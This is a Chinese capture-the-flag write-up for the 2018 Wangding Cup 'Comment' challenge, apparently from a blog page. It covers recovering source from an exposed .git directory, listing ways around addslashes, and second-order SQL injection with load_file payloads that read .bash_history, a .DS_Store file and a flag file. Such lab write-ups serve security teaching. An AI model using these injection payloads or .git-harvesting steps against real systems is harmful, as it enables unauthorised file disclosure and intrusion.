[网鼎杯 2018]Comment
[网鼎杯 2018]Comment
又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入。
因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的。
[21:03:10] Starting:
[21:03:10] 301 - 388B - /.git -> http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git/
[21:03:10] 200 - 23B - /.git/HEAD
[21:03:10] 200 - 145B - /.git/index
[21:03:10] 200 - 92B - /.git/config
[21:03:10] 200 - 73B - /.git/description
[21:03:12] 403 - 323B - /.git/
[21:03:13] 200 - 7KB - /index.php
[21:03:13] 200 - 2KB - /login.php
[21:03:20] 429 - 568B - /phpmyadmin/
[21:03:20] 429 - 568B - /phpMyAdmin/
到kali下面利用githack找一下git文件python GitHacker.py http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git
cat一下发现源代码是不全的,所以接下来应该修复一手:
到生成文件的目录:git log --relog
得到继续:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
这样我们就得到了如下代码:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
到了登陆界面,其实刚开始没理解,直接就照着提示把三个*全都打进去了,结果发现是要替换的,直接burp跑一波就ok了。
此时就是看着源码进行sql注入了,他是加了一个addslashes进行过滤准备的,但是有的时候addslash也是一个能造成漏洞的点。
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
addslash:
gbk导致宽字节注入
使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
url解码导致绕过addslashes
base64解码导致绕过addslashes
json编码导致绕过addslashes
没有使用引号保护字符串,直接无视addslashes
stripslashes(去掉了\)
字符替换导致的绕过addslashes
这里分成了两个功能模块,一个是发帖,另一个是评论,两个功能。
两个地方都利用到了addslash进行转义,但是都仅仅对于输入进行转义,对于输出没有进行转义,这就有可能造成二次注入,在mysql中,addslash添加的反斜杠是能够起作用的,即\'在表里面value值就是'的意义,那么我们拿出来的时候就可以进行闭合了。
同时闭合了单引号之后我们还需要,注释,因为#号只能适用于单行的注释,对于多行的注释我们使用/**/从而进行拼接的注释,所以在我们注册完成后,我们在comment处这么写*/#那么拼接起来就是:
insert into comment
set category = ' ',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
完成了二次注入。
之后我们利用文件的读取,load_file函数.
payload:',content=(select(load_file("/home/www/.bash_history"))),/*
output:
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
这里的具体步骤是:
切换到/tmp目录下解压html压缩包
删除压缩包,
将html复制到var/www/目录下,
切换到/var/www/html目录,
删除.Ds_Store.
启动apache服务
但是这里我们发现一个问题,他没有删除/tmp/html目录下的.Ds_Store文件,所以我们可以尝试i读取,(信息泄露)
123',content=(select load_file('/tmp/html/.Ds_Store')),/*
无显示,用hex编码显示
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/* 得到:flag_8946e1ff1ee3e40f.php文件
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
得到:
3C3F7068700A24666C6167203D2027666C61677B66396361316136622D396437382D313165382D393061332D6334623330316237623939627D273B0A3F3E0A
解码发现不对:
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
再次读取:
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
[网鼎杯 2018]Comment的更多相关文章
- [网鼎杯 2018]Comment-1|SQL注入|二次注入
1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...
- 【网鼎杯2018】fakebook
解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...
- 刷题 [网鼎杯 2018]Fakebook
解题思路 首先登陆页面发现是这样的: 查看源码 源码很正常,也没有什么特别的 web目录扫描 我用的是dirmap工具扫描,扫描结果保存在一个txt文件中,结果可知没什么后台. robots.txt ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- [网鼎杯2018]Unfinish-1|SQL注入|二次注入
1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
随机推荐
- Linux 将文件打包、压缩并分割成指定大小
打包文件: tar -cvf .tar 分割文件: split -b 3G -d -a .tar .tar. //使用split命令,-b 3G 表示设置每个分割包的大小,单位还是可以k // -d ...
- 在KVM主机和虚拟机之间共享目录
执行以下步骤: (1)在host OS上面创建新的目录和在这个目录里面创建一个文件. root@kvm:~# mkdir /tmp/shared root@kvm:~# touch /tmp/shar ...
- 第5篇 Scrum 冲刺博客
1.站立会议 照骗 进度 成员 昨日完成任务 今日计划任务 遇到的困难 钟智锋 完成技能 完全重构游戏逻辑代码,并编写调试模块 队友的代码已经和想法相去甚远 庄诗楷 制作了开始游戏的界面 进行了相关的 ...
- Soft-to-Hard Vector Quantization for End-to-End Learning Compressible Representations
郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Abstract: 我们提出了一种新的方法,通过端到端的训练策略来学习深度架构中的可压缩表征.我们的方法是基于量化和熵的软(连续)松弛,我 ...
- go语言之反射
---恢复内容开始--- 一 :并发基础 1 并发和并行 并发和并行是两个不同的概念: 并行意味着程序在任意时刻都是同时运行的: 并发意味着程序在单位时间内是同时运行的 详解: 并行就是在任一粒度的时 ...
- JS - 日期时间比较函数
JS日期比较(yyyy-mm-dd) function duibi(a, b) { var arr = a.split("-"); var starttime = new Date ...
- 在vue项目中使用scss
1.首先安装依赖 npm install node-sass sass-loader --save-dev 2.找到build中webpack.base.conf.js,在rules中添加scss规则 ...
- Data Vault玩转数据仓库(三)
在Data Vault 2.0版本里,其不只是针对数据仓库的建模,同时也包含了架构,方法论以及实现.这篇挑几个概念,附上我个人对其的理解.同时也把这个系列的名字改成<Data Vault玩转数据 ...
- Kernel_task占CPU问题
彻底解决高版本 mac Kernel_task占CPU问题 https://blog.csdn.net/liumx2007/article/details/77164795
- 记录call、apply、bind的源码
记录一下call.apply.bind的源码,然后从根本上明白其用法. 都知道call.apply与bind的用法,call(this,...arguments).apply(this,[argume ...